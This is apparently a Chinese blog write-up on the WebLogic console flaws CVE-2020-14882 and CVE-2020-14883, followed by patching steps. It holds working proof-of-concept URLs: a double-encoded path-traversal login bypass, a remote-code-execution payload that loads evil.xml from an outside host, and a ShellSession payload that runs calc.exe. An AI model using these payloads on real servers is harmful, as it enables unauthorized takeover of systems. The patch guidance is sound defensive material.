未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。
登陆绕过POC
访问以下URL,即可未授权访问到管理后台页面
1 | http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal |
命令执行POC
POC Weblogic 10
1 |
|
1 | http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.56.1:8000/evil.xml") |
POC Weblogc 12
1 | http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); |
Weblogic 10 没有com.tangosol.coherence.mvel2.sh.ShellSession这个gadget,只存在于weblogic 12,weblogic10 并没有这个包,所以无法使用。
参考链接
漏洞修复
在oracle官网下载好补丁后。
1 | export WL_HOME="/root/Oracle/Middleware/wlserver_10.3" |
将p31641257_1036_Generic.zip
和p32097188_10360201020_Generic.zip
解压到${MW_HOME}/utils/bsu/cache_dir
然后修改${MW_HOME}/utils/bsu/bsu.sh
里面的内存如果小了,安装补丁的时候可能会报错。尽量大一点(根据实际内存分配),最好符合补丁的要求(README.txt)的那个文件有。
1 | - Configuring Memory options |
然后安装补丁
1 | ./bsu.sh -install -patch_download_dir=${MW_HOME}/utils/bsu/cache_dir -patchlist=NA7A -prod_dir=${WL_HOME} |
1 | ./bsu.sh -install -patch_download_dir=${MW_HOME}/utils/bsu/cache_dir -patchlist=KYRS -prod_dir=${WL_HOME} |
安装一个要等十多分钟左右。。
要么成功,要么补丁冲突。。
之后再执行poc